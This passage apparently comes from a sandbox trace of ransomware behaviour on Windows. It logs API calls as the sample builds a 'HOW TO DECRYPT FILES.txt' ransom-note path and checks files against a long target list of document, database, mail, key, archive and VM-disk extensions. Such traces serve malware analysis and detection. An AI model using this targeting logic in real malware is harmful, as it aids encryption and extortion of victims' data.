HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\") returned="" [0085.511] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt" [0085.511] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\how to decrypt files.txt")) returned 0x2020 [0085.511] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\", lpString2="WindowsMail.pat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" [0085.511] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.ems") returned 0 [0085.511] lstrlenA (lpString="*.ems") returned 5 [0085.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.db") returned 0 [0085.512] lstrlenA (lpString="*.db") returned 4 [0085.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.dbf") returned 0 [0085.512] lstrlenA (lpString="*.dbf") returned 5 [0085.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.myox") returned 0 [0085.512] lstrlenA (lpString="*.myox") returned 6 [0085.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.myo") returned 0 [0085.512] lstrlenA (lpString="*.myo") returned 5 [0085.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.qbw") returned 0 [0085.512] lstrlenA (lpString="*.qbw") returned 5 [0085.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.qbb") returned 0 [0085.512] lstrlenA (lpString="*.qbb") returned 5 [0085.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.qbm") returned 0 [0085.512] lstrlenA (lpString="*.qbm") returned 5 [0085.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.qbo") returned 0 [0085.512] lstrlenA (lpString="*.qbo") returned 5 [0085.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.qbx") returned 0 [0085.512] lstrlenA (lpString="*.qbx") returned 5 [0085.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.qba") returned 0 [0085.512] lstrlenA (lpString="*.qba") returned 5 [0085.512] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.qby") returned 0 [0085.513] lstrlenA (lpString="*.qby") returned 5 [0085.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.qbj") returned 0 [0085.513] lstrlenA (lpString="*.qbj") returned 5 [0085.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.ofx") returned 0 [0085.513] lstrlenA (lpString="*.ofx") returned 5 [0085.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.qif") returned 0 [0085.513] lstrlenA (lpString="*.qif") returned 5 [0085.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.mye") returned 0 [0085.513] lstrlenA (lpString="*.mye") returned 5 [0085.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.mbox") returned 0 [0085.513] lstrlenA (lpString="*.mbox") returned 6 [0085.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.eml") returned 0 [0085.513] lstrlenA (lpString="*.eml") returned 5 [0085.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.pst") returned 0 [0085.513] lstrlenA (lpString="*.pst") returned 5 [0085.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.ost") returned 0 [0085.513] lstrlenA (lpString="*.ost") returned 5 [0085.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.idx") returned 0 [0085.513] lstrlenA (lpString="*.idx") returned 5 [0085.513] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.dbx") returned 0 [0085.513] lstrlenA (lpString="*.dbx") returned 5 [0085.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.sql") returned 0 [0085.514] lstrlenA (lpString="*.sql") returned 5 [0085.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.mdb") returned 0 [0085.514] lstrlenA (lpString="*.mdb") returned 5 [0085.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.fdb") returned 0 [0085.514] lstrlenA (lpString="*.fdb") returned 5 [0085.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.wab") returned 0 [0085.514] lstrlenA (lpString="*.wab") returned 5 [0085.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.dat") returned 0 [0085.514] lstrlenA (lpString="*.dat") returned 5 [0085.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.txt") returned 0 [0085.514] lstrlenA (lpString="*.txt") returned 5 [0085.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.jpeg") returned 0 [0085.514] lstrlenA (lpString="*.jpeg") returned 6 [0085.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.jpg") returned 0 [0085.514] lstrlenA (lpString="*.jpg") returned 5 [0085.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.png") returned 0 [0085.514] lstrlenA (lpString="*.png") returned 5 [0085.514] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.php") returned 0 [0085.514] lstrlenA (lpString="*.php") returned 5 [0085.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.cs") returned 0 [0085.515] lstrlenA (lpString="*.cs") returned 4 [0085.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.cpp") returned 0 [0085.515] lstrlenA (lpString="*.cpp") returned 5 [0085.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.rar") returned 0 [0085.515] lstrlenA (lpString="*.rar") returned 5 [0085.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.zip") returned 0 [0085.515] lstrlenA (lpString="*.zip") returned 5 [0085.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.html") returned 0 [0085.515] lstrlenA (lpString="*.html") returned 6 [0085.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.htm") returned 0 [0085.515] lstrlenA (lpString="*.htm") returned 5 [0085.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.xlsx") returned 0 [0085.515] lstrlenA (lpString="*.xlsx") returned 6 [0085.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.xls") returned 0 [0085.515] lstrlenA (lpString="*.xls") returned 5 [0085.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.mp4") returned 0 [0085.515] lstrlenA (lpString="*.mp4") returned 5 [0085.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.ppt") returned 0 [0085.515] lstrlenA (lpString="*.ppt") returned 5 [0085.515] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.pptx") returned 0 [0085.515] lstrlenA (lpString="*.pptx") returned 6 [0085.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.doc") returned 0 [0085.516] lstrlenA (lpString="*.doc") returned 5 [0085.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.dot") returned 0 [0085.516] lstrlenA (lpString="*.dot") returned 5 [0085.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.docx") returned 0 [0085.516] lstrlenA (lpString="*.docx") returned 6 [0085.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.7z") returned 0 [0085.516] lstrlenA (lpString="*.7z") returned 4 [0085.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.tar") returned 0 [0085.516] lstrlenA (lpString="*.tar") returned 5 [0085.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.bz2") returned 0 [0085.516] lstrlenA (lpString="*.bz2") returned 5 [0085.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.gz") returned 0 [0085.516] lstrlenA (lpString="*.gz") returned 4 [0085.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.mkv") returned 0 [0085.516] lstrlenA (lpString="*.mkv") returned 5 [0085.516] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.eml") returned 0 [0085.517] lstrlenA (lpString="*.eml") returned 5 [0085.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.msg") returned 0 [0085.517] lstrlenA (lpString="*.msg") returned 5 [0085.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.edb") returned 0 [0085.517] lstrlenA (lpString="*.edb") returned 5 [0085.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.accdb") returned 0 [0085.517] lstrlenA (lpString="*.accdb") returned 7 [0085.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.odb") returned 0 [0085.517] lstrlenA (lpString="*.odb") returned 5 [0085.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.java") returned 0 [0085.517] lstrlenA (lpString="*.java") returned 6 [0085.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.asm") returned 0 [0085.517] lstrlenA (lpString="*.asm") returned 5 [0085.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.pfx") returned 0 [0085.517] lstrlenA (lpString="*.pfx") returned 5 [0085.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.pem") returned 0 [0085.517] lstrlenA (lpString="*.pem") returned 5 [0085.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.p12") returned 0 [0085.517] lstrlenA (lpString="*.p12") returned 5 [0085.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.gpg") returned 0 [0085.517] lstrlenA (lpString="*.gpg") returned 5 [0085.517] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.vsd") returned 0 [0085.518] lstrlenA (lpString="*.vsd") returned 5 [0085.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.odg") returned 0 [0085.518] lstrlenA (lpString="*.odg") returned 5 [0085.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.raw") returned 0 [0085.518] lstrlenA (lpString="*.raw") returned 5 [0085.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.nef") returned 0 [0085.518] lstrlenA (lpString="*.nef") returned 5 [0085.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.svg") returned 0 [0085.518] lstrlenA (lpString="*.svg") returned 5 [0085.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.psd") returned 0 [0085.518] lstrlenA (lpString="*.psd") returned 5 [0085.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.vmx") returned 0 [0085.518] lstrlenA (lpString="*.vmx") returned 5 [0085.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.vmdk") returned 0 [0085.518] lstrlenA (lpString="*.vmdk") returned 6 [0085.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.vdi") returned 0 [0085.518] lstrlenA (lpString="*.vdi") returned 5 [0085.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.lay6") returned 0 [0085.518] lstrlenA (lpString="*.lay6") returned 6 [0085.518] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.mpeg") returned 0 [0085.518] lstrlenA (lpString="*.mpeg") returned 6 [0085.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.djvu") returned 0 [0085.519] lstrlenA (lpString="*.djvu") returned 6 [0085.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.tiff") returned 0 [0085.519] lstrlenA (lpString="*.tiff") returned 6 [0085.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.backup") returned 0 [0085.519] lstrlenA (lpString="*.backup") returned 8 [0085.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.pdf") returned 0 [0085.519] lstrlenA (lpString="*.pdf") returned 5 [0085.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.cert") returned 0 [0085.519] lstrlenA (lpString="*.cert") returned 6 [0085.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.docm") returned 0 [0085.519] lstrlenA (lpString="*.docm") returned 6 [0085.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.xlsm") returned 0 [0085.519] lstrlenA (lpString="*.xlsm") returned 6 [0085.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.dwg") returned 0 [0085.519] lstrlenA (lpString="*.dwg") returned 5 [0085.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.nd") returned 0 [0085.519] lstrlenA (lpString="*.nd") returned 4 [0085.519] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.tlg") returned 0 [0085.519] lstrlenA (lpString="*.tlg") returned 5 [0085.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.lgb") returned 0 [0085.520] lstrlenA (lpString="*.lgb") returned 5 [0085.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.mov") returned 0 [0085.520] lstrlenA (lpString="*.mov") returned 5 [0085.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.xdw") returned 0 [0085.520] lstrlenA (lpString="*.xdw") returned 5 [0085.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.ods") returned 0 [0085.520] lstrlenA (lpString="*.ods") returned 5 [0085.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.wav") returned 0 [0085.520] lstrlenA (lpString="*.wav") returned 5 [0085.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.mp3") returned 0 [0085.520] lstrlenA (lpString="*.mp3") returned 5 [0085.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.aiff") returned 0 [0085.520] lstrlenA (lpString="*.aiff") returned 6 [0085.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.flac") returned 0 [0085.520] lstrlenA (lpString="*.flac") returned 6 [0085.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.m4a") returned 0 [0085.520] lstrlenA (lpString="*.m4a") returned 5 [0085.520] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat", pszSpec="*.csv") returned 0 [0085.521] lstrlenA (lpString="*.csv") returned 5 [0085.521] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9a12c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0 [0085.521] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0085.521] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1 [0085.521] lstrcmpA (lpString1=".", lpString2="Windows Media") returned -1 [0085.521] lstrcmpA (lpString1="..", lpString2="Windows Media") returned -1 [0085.521] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\*.*") returned="*.*" [0085.521] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\", lpString2="Windows Media" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media" [0085.521] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media") returned 67 [0085.521] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName=".", cAlternateFileName="")) returned 0x502658 [0085.522] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.522] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0085.522] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.522] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.522] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 1 [0085.522] lstrcmpA (lpString1=".", lpString2="12.0") returned -1 [0085.522] lstrcmpA (lpString1="..", lpString2="12.0") returned -1 [0085.522] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\*.*") returned="*.*" [0085.522] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\", lpString2="12.0" | out: lpString1="C:\\Users\\5p5NrGJn0jS 